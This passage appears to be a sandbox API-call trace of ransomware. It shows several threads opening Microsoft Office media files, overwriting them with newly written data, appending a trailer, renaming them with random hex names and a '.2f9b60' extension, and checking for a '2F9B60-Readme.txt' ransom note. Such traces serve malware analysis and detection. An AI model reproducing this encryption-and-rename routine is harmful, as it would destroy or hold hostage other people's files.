_Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="56") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="f8") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="e8") returned 2 [0115.586] RtlInitAnsiString (in: DestinationString=0x392dfac8, SourceString="6db607a497b66c0903396ea2ff1df00a12a7ebfaca56f8e8" | out: DestinationString="6db607a497b66c0903396ea2ff1df00a12a7ebfaca56f8e8") [0115.587] RtlAnsiStringToUnicodeString (in: DestinationString=0x392dfa98, SourceString="6db607a497b66c0903396ea2ff1df00a12a7ebfaca56f8e8", AllocateDestinationString=1 | out: DestinationString="6db607a497b66c0903396ea2ff1df00a12a7ebfaca56f8e8") returned 0x0 [0115.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced97f0 [0115.587] wcscat (in: _Dest=0x1b7adac0, _Source="6db607a497b6" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6db607a497b6") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6db607a497b6" [0115.587] wcscat (in: _Dest=0x1b7adac0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6db607a497b6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6db607a497b6.2f9b60" [0115.587] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6db607a497b6.2f9b60", NtPathName=0x392dfa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6db607a497b6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bd70 [0115.587] NtSetInformationFile (FileHandle=0x14b8, IoStatusBlock=0x392dfb10, FileInformation=0x2050bd70, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bd70) returned 1 [0115.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0115.590] NtQueryInformationFile (in: FileHandle=0x14b8, IoStatusBlock=0x392dfad8, FileInformation=0x392dfae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x392dfad8, FileInformation=0x392dfae8) returned 0x0 [0115.590] NtSetInformationFile (FileHandle=0x14b8, IoStatusBlock=0x392dfad8, FileInformation=0x392dfae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adac0) returned 1 [0115.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced97f0) returned 1 [0115.591] FlushFileBuffers (hFile=0x14b8) returned 1 [0115.593] CloseHandle (hObject=0x14b8) returned 1 [0115.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86ae00 [0115.594] wcscpy (in: _Dest=0x1b86ae00, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.594] wcscat (in: _Dest=0x1b86ae00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ae00) returned 1 [0115.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ac50) returned 1 Thread: id = 1241 os_tid = 0xcac [0115.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf")) returned 0x20 [0115.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF", dwFileAttributes=0x20) returned 1 [0115.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14d8 [0115.415] GetFileSizeEx (in: hFile=0x14d8, lpFileSize=0x3941fca0 | out: lpFileSize=0x3941fca0*=3808) returned 1 [0115.415] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0xedc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.415] ReadFile (in: hFile=0x14d8, lpBuffer=0x3941fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3941fc68, lpOverlapped=0x0 | out: lpBuffer=0x3941fc20*, lpNumberOfBytesRead=0x3941fc68*=0x4, lpOverlapped=0x0) returned 1 [0115.441] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9790 [0115.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96d0 [0115.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a97c0 [0115.441] NtQuerySystemTime (in: CurrentTime=0x3941fb60 | out: CurrentTime=0x3941fb60*=132462177209074000) returned 0x0 [0115.441] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x5faadcb0 [0115.441] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x1dd62d3c [0115.441] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x61ffd27e [0115.441] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x5a0ac49c [0115.441] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x1e4919f6 [0115.441] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x3ccd69f6 [0115.442] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x6e665da7 [0115.442] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x201234cf [0115.442] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x29e51e8a [0115.442] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x16e21fa5 [0115.442] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x207dcb12 [0115.442] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x39252bcb [0115.442] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x4ff85ec7 [0115.442] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x138c1d85 [0115.442] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x2b3e2cbf [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x6cbedf46 [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x7f1cfc22 [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x369e69b3 [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x524be74d [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x2f13e522 [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x3dc0555a [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x7ce97182 [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x2082fb1f [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x5b50cf8 [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x3eba8c73 [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x545a6341 [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x51d4afb6 [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x78d00889 [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x288cb95f [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x3eb84931 [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x71220962 [0115.443] RtlRandomEx (in: Seed=0x3941fb50 | out: Seed=0x3941fb50) returned 0x17b96ff1 [0115.457] ReadFile (in: hFile=0x14d8, lpBuffer=0x2018c1b0, nNumberOfBytesToRead=0xee0, lpNumberOfBytesRead=0x3941fb50, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesRead=0x3941fb50*=0xee0, lpOverlapped=0x0) returned 1 [0115.457] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.457] WriteFile (in: hFile=0x14d8, lpBuffer=0x2016a520*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x3941fb54, lpOverlapped=0x0 | out: lpBuffer=0x2016a520*, lpNumberOfBytesWritten=0x3941fb54*=0xee0, lpOverlapped=0x0) returned 1 [0115.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0115.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262360 [0115.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262360) returned 1 [0115.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016a520) returned 1 [0115.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0115.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0115.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0115.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262360 [0115.488] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.489] WriteFile (in: hFile=0x14d8, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3941fc70, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3941fc70*=0x10a, lpOverlapped=0x0) returned 1 [0115.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0115.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868840 [0115.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0115.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262030) returned 1 [0115.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0115.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623c0 [0115.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202623c0) returned 1 [0115.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0115.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0115.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0115.533] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="f1") returned 2 [0115.533] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="6a") returned 2 [0115.533] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="db") returned 2 [0115.533] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="22") returned 2 [0115.533] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="6e") returned 2 [0115.533] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="88") returned 2 [0115.533] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="f2") returned 2 [0115.533] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="de") returned 2 [0115.533] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="fd") returned 2 [0115.533] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="5a") returned 2 [0115.533] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="39") returned 2 [0115.533] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="82") returned 2 [0115.533] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="56") returned 2 [0115.533] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="61") returned 2 [0115.533] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="35") returned 2 [0115.534] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="a7") returned 2 [0115.534] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="6c") returned 2 [0115.534] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="03") returned 2 [0115.534] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="bd") returned 2 [0115.534] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="4e") returned 2 [0115.534] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="60") returned 2 [0115.534] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="e3") returned 2 [0115.534] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="de") returned 2 [0115.534] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="82") returned 2 [0115.534] RtlInitAnsiString (in: DestinationString=0x3941fce8, SourceString="f16adb226e88f2defd5a3982566135a76c03bd4e60e3de82" | out: DestinationString="f16adb226e88f2defd5a3982566135a76c03bd4e60e3de82") [0115.534] RtlAnsiStringToUnicodeString (in: DestinationString=0x3941fcb8, SourceString="f16adb226e88f2defd5a3982566135a76c03bd4e60e3de82", AllocateDestinationString=1 | out: DestinationString="f16adb226e88f2defd5a3982566135a76c03bd4e60e3de82") returned 0x0 [0115.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9860 [0115.534] wcscat (in: _Dest=0x1b7adac0, _Source="f16adb226e88" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f16adb226e88") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f16adb226e88" [0115.534] wcscat (in: _Dest=0x1b7adac0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f16adb226e88.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f16adb226e88.2f9b60" [0115.534] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f16adb226e88.2f9b60", NtPathName=0x3941fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f16adb226e88.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bd70 [0115.535] NtSetInformationFile (FileHandle=0x14d8, IoStatusBlock=0x3941fd30, FileInformation=0x2050bd70, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bd70) returned 1 [0115.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0115.539] NtQueryInformationFile (in: FileHandle=0x14d8, IoStatusBlock=0x3941fcf8, FileInformation=0x3941fd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3941fcf8, FileInformation=0x3941fd08) returned 0x0 [0115.539] NtSetInformationFile (FileHandle=0x14d8, IoStatusBlock=0x3941fcf8, FileInformation=0x3941fd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adac0) returned 1 [0115.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9860) returned 1 [0115.541] FlushFileBuffers (hFile=0x14d8) returned 1 [0115.545] CloseHandle (hObject=0x14d8) returned 1 [0115.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a620 [0115.548] wcscpy (in: _Dest=0x1b86a620, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.548] wcscat (in: _Dest=0x1b86a620, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a620) returned 1 [0115.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ace0) returned 1 Thread: id = 1242 os_tid = 0xe14 [0115.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf")) returned 0x20 [0115.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF", dwFileAttributes=0x20) returned 1 [0115.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x149c [0115.423] GetFileSizeEx (in: hFile=0x149c, lpFileSize=0x3958fdc0 | out: lpFileSize=0x3958fdc0*=12506) returned 1 [0115.423] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x30d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.423] ReadFile (in: hFile=0x149c, lpBuffer=0x3958fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3958fd88, lpOverlapped=0x0 | out: lpBuffer=0x3958fd40*, lpNumberOfBytesRead=0x3958fd88*=0x4, lpOverlapped=0x0) returned 1 [0115.498] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0115.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0115.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0115.498] NtQuerySystemTime (in: CurrentTime=0x3958fc80 | out: CurrentTime=0x3958fc80*=132462177209542000) returned 0x0 [0115.498] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x33afbadc [0115.498] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x138d35f1 [0115.498] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x3a20b49c [0115.498] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x6cdfe995 [0115.498] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x31502ee9 [0115.498] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x2c3c11b [0115.498] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x2762f8ba [0115.498] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x4ce779c4 [0115.498] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x5e81ddc0 [0115.498] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x6ca570fd [0115.498] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x38965634 [0115.498] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x593eaba7 [0115.498] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x3931f93a [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x2ca2b58d [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x7fc6050d [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x75a0da4f [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x43768496 [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x41c52563 [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0xee13e03 [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x49a78dd9 [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x5f72ae61 [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x17c739e8 [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x1630543 [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x17f0e973 [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x781898b [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x7c66c6c [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x57db2ab6 [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0xb4a8b4d [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x63448ae9 [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x227880c3 [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x2cc3f4ff [0115.499] RtlRandomEx (in: Seed=0x3958fc70 | out: Seed=0x3958fc70) returned 0x6d910fce [0115.510] ReadFile (in: hFile=0x149c, lpBuffer=0x2018c1b0, nNumberOfBytesToRead=0x30da, lpNumberOfBytesRead=0x3958fc70, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesRead=0x3958fc70*=0x30da, lpOverlapped=0x0) returned 1 [0115.527] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.527] WriteFile (in: hFile=0x149c, lpBuffer=0x2016a520*, nNumberOfBytesToWrite=0x30da, lpNumberOfBytesWritten=0x3958fc74, lpOverlapped=0x0 | out: lpBuffer=0x2016a520*, lpNumberOfBytesWritten=0x3958fc74*=0x30da, lpOverlapped=0x0) returned 1 [0115.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9610 [0115.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9700 [0115.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9700) returned 1 [0115.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016a520) returned 1 [0115.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0115.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0115.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0115.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9700 [0115.543] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.544] WriteFile (in: hFile=0x149c, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3958fd90, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3958fd90*=0x10a, lpOverlapped=0x0) returned 1 [0115.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0115.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8687c0 [0115.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0115.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a99d0) returned 1 [0115.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0115.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a97c0 [0115.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a97c0) returned 1 [0115.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0115.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0115.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0115.551] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="b4") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="46") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="b7") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="d9") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="f8") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="42") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="7c") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="e6") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="72") returned 2 [0115.551] sprintf (in: 